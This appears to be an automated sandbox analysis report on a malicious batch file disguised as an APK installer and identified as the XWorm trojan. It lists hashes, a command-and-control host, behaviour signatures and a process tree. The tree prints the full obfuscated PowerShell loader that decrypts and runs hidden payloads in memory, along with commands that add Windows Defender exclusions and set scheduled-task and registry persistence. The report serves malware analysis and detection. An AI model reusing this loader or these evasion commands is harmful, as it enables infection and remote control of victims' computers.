Analysis
-
max time kernel
146s -
max time network
106s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
31-05-2024 12:53
Static task
static1
Behavioral task
behavioral1
Sample
APKInstaller.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
APKInstaller.bat
Resource
win10v2004-20240508-en
General
-
Target
APKInstaller.bat
-
Size
302KB
-
MD5
7a5f5944302b8298714b56ae2f138b7c
-
SHA1
669b42f2f6e76895899d84d5ad7a12f23d951f13
-
SHA256
3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552
-
SHA512
73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120
-
SSDEEP
6144:32i9XCwjujllYECVvYOjntEw8ZNsT0oilQHSzlO8DF8hVvRj:32iBCwyhCVlaJZUilQHulOq2vRj
Malware Config
Extracted
xworm
19.ip.gl.ply.gg:38173
-
Install_directory
%Userprofile%
-
install_file
Runtime Broker.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4344-49-0x0000018EE32A0000-0x0000018EE32BA000-memory.dmp family_xworm -
Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4360 powershell.exe 4536 powershell.exe 1128 powershell.exe 920 powershell.exe 4936 powershell.exe 4872 powershell.exe 4344 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
Runtime Broker.exepid process 1156 Runtime Broker.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "C:\\Users\\Admin\\Runtime Broker.exe" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 20 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeRuntime Broker.exepid process 4936 powershell.exe 4936 powershell.exe 4872 powershell.exe 4872 powershell.exe 4344 powershell.exe 4344 powershell.exe 4344 powershell.exe 4536 powershell.exe 4536 powershell.exe 1128 powershell.exe 1128 powershell.exe 920 powershell.exe 920 powershell.exe 920 powershell.exe 4360 powershell.exe 4360 powershell.exe 4360 powershell.exe 4344 powershell.exe 1156 Runtime Broker.exe 1156 Runtime Broker.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4936 powershell.exe Token: SeDebugPrivilege 4872 powershell.exe Token: SeIncreaseQuotaPrivilege 4872 powershell.exe Token: SeSecurityPrivilege 4872 powershell.exe Token: SeTakeOwnershipPrivilege 4872 powershell.exe Token: SeLoadDriverPrivilege 4872 powershell.exe Token: SeSystemProfilePrivilege 4872 powershell.exe Token: SeSystemtimePrivilege 4872 powershell.exe Token: SeProfSingleProcessPrivilege 4872 powershell.exe Token: SeIncBasePriorityPrivilege 4872 powershell.exe Token: SeCreatePagefilePrivilege 4872 powershell.exe Token: SeBackupPrivilege 4872 powershell.exe Token: SeRestorePrivilege 4872 powershell.exe Token: SeShutdownPrivilege 4872 powershell.exe Token: SeDebugPrivilege 4872 powershell.exe Token: SeSystemEnvironmentPrivilege 4872 powershell.exe Token: SeRemoteShutdownPrivilege 4872 powershell.exe Token: SeUndockPrivilege 4872 powershell.exe Token: SeManageVolumePrivilege 4872 powershell.exe Token: 33 4872 powershell.exe Token: 34 4872 powershell.exe Token: 35 4872 powershell.exe Token: 36 4872 powershell.exe Token: SeIncreaseQuotaPrivilege 4872 powershell.exe Token: SeSecurityPrivilege 4872 powershell.exe Token: SeTakeOwnershipPrivilege 4872 powershell.exe Token: SeLoadDriverPrivilege 4872 powershell.exe Token: SeSystemProfilePrivilege 4872 powershell.exe Token: SeSystemtimePrivilege 4872 powershell.exe Token: SeProfSingleProcessPrivilege 4872 powershell.exe Token: SeIncBasePriorityPrivilege 4872 powershell.exe Token: SeCreatePagefilePrivilege 4872 powershell.exe Token: SeBackupPrivilege 4872 powershell.exe Token: SeRestorePrivilege 4872 powershell.exe Token: SeShutdownPrivilege 4872 powershell.exe Token: SeDebugPrivilege 4872 powershell.exe Token: SeSystemEnvironmentPrivilege 4872 powershell.exe Token: SeRemoteShutdownPrivilege 4872 powershell.exe Token: SeUndockPrivilege 4872 powershell.exe Token: SeManageVolumePrivilege 4872 powershell.exe Token: 33 4872 powershell.exe Token: 34 4872 powershell.exe Token: 35 4872 powershell.exe Token: 36 4872 powershell.exe Token: SeIncreaseQuotaPrivilege 4872 powershell.exe Token: SeSecurityPrivilege 4872 powershell.exe Token: SeTakeOwnershipPrivilege 4872 powershell.exe Token: SeLoadDriverPrivilege 4872 powershell.exe Token: SeSystemProfilePrivilege 4872 powershell.exe Token: SeSystemtimePrivilege 4872 powershell.exe Token: SeProfSingleProcessPrivilege 4872 powershell.exe Token: SeIncBasePriorityPrivilege 4872 powershell.exe Token: SeCreatePagefilePrivilege 4872 powershell.exe Token: SeBackupPrivilege 4872 powershell.exe Token: SeRestorePrivilege 4872 powershell.exe Token: SeShutdownPrivilege 4872 powershell.exe Token: SeDebugPrivilege 4872 powershell.exe Token: SeSystemEnvironmentPrivilege 4872 powershell.exe Token: SeRemoteShutdownPrivilege 4872 powershell.exe Token: SeUndockPrivilege 4872 powershell.exe Token: SeManageVolumePrivilege 4872 powershell.exe Token: 33 4872 powershell.exe Token: 34 4872 powershell.exe Token: 35 4872 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 4344 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 1468 wrote to memory of 4936 1468 cmd.exe powershell.exe PID 1468 wrote to memory of 4936 1468 cmd.exe powershell.exe PID 4936 wrote to memory of 4872 4936 powershell.exe powershell.exe PID 4936 wrote to memory of 4872 4936 powershell.exe powershell.exe PID 4936 wrote to memory of 3560 4936 powershell.exe WScript.exe PID 4936 wrote to memory of 3560 4936 powershell.exe WScript.exe PID 3560 wrote to memory of 1400 3560 WScript.exe cmd.exe PID 3560 wrote to memory of 1400 3560 WScript.exe cmd.exe PID 1400 wrote to memory of 4344 1400 cmd.exe powershell.exe PID 1400 wrote to memory of 4344 1400 cmd.exe powershell.exe PID 4344 wrote to memory of 4536 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 4536 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 1128 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 1128 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 920 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 920 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 4360 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 4360 4344 powershell.exe powershell.exe PID 4344 wrote to memory of 3152 4344 powershell.exe schtasks.exe PID 4344 wrote to memory of 3152 4344 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\APKInstaller.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_850_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_850.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4872
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_850.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_850.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_850.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_850.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4536
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1128
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Runtime Broker.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:920
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Runtime Broker.exe'6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4360
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Runtime Broker" /tr "C:\Users\Admin\Runtime Broker.exe"6⤵
- Creates scheduled task(s)
PID:3152
-
-
-
-
-
-
C:\Users\Admin\Runtime Broker.exe"C:\Users\Admin\Runtime Broker.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1156
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
-
Filesize
944B
MD5d28a889fd956d5cb3accfbaf1143eb6f
SHA1157ba54b365341f8ff06707d996b3635da8446f7
SHA25621e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA5120b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
-
Filesize
944B
MD5da5c82b0e070047f7377042d08093ff4
SHA189d05987cd60828cca516c5c40c18935c35e8bd3
SHA25677a94ef8c4258445d538a6006ffadb05afdf888f6f044e1e5466b981a07f16c5
SHA5127360311a3c97b73dd3f6d7179cd979e0e20d69f380d38292447e17e369087d9dd5acb66cd0cbdd95ac4bfb16e5a1b86825f835a8d45b14ea9812102cff59704b
-
Filesize
944B
MD5ba169f4dcbbf147fe78ef0061a95e83b
SHA192a571a6eef49fff666e0f62a3545bcd1cdcda67
SHA2565ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1
SHA5128d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
302KB
MD57a5f5944302b8298714b56ae2f138b7c
SHA1669b42f2f6e76895899d84d5ad7a12f23d951f13
SHA2563f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552
SHA51273049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120
-
Filesize
115B
MD58384ee845260de578806c1f1eeb28b8d
SHA1f5fda25b7472985a7fa23b703d6c35565b8ad59a
SHA2564be538c836d5af2c685716ffc01f2f7557f7907bfd6097e178f806142e273d9d
SHA512c54b8c328b2790d67d1f22591f8978b33ed9bc39616ad3550f47fa5b3287cde00b07c0c4bd34793cf35d53406fc13ab4edc9ad13836d7da22b14bafd7986794f
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b